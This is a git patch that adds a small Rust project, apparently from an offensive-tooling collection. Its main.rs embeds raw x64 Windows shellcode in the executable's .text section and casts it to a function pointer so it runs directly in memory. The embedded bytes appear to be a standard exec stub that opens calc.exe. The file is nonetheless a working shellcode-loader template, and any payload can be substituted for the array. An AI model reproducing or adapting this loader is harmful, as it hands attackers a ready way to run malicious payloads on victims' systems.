From 1183c97133ab52acb580cd6dda564b3195b1cb46 Mon Sep 17 00:00:00 2001
From: trickster0 <tserpthanasis@gmail.com>
Date: Tue, 28 Sep 2021 00:27:33 +0300
Subject: [PATCH] memexec

---
 Exec_Shellcode_In_Memory/Cargo.toml  |  8 ++++++++
 Exec_Shellcode_In_Memory/src/main.rs | 10 ++++++++++
 2 files changed, 18 insertions(+)
 create mode 100644 Exec_Shellcode_In_Memory/Cargo.toml
 create mode 100644 Exec_Shellcode_In_Memory/src/main.rs

diff --git a/Exec_Shellcode_In_Memory/Cargo.toml b/Exec_Shellcode_In_Memory/Cargo.toml
new file mode 100644
index 0000000..4cce40b
--- /dev/null
+++ b/Exec_Shellcode_In_Memory/Cargo.toml
@@ -0,0 +1,8 @@
+[package]
+name = "Exec_Shellcode_In_Memory"
+version = "0.1.0"
+edition = "2018"
+author = "trickster0"
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
diff --git a/Exec_Shellcode_In_Memory/src/main.rs b/Exec_Shellcode_In_Memory/src/main.rs
new file mode 100644
index 0000000..95a7e63
--- /dev/null
+++ b/Exec_Shellcode_In_Memory/src/main.rs
@@ -0,0 +1,10 @@
+use std::mem;
+
+#[no_mangle]
+#[link_section = ".text"]
+static  TEST : [u8;276] = *b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
+
+fn main() {
+  let exec_data: extern "C" fn () -> ! = unsafe { mem::transmute(&TEST as *const _ as *const ()) };
+  exec_data();
+}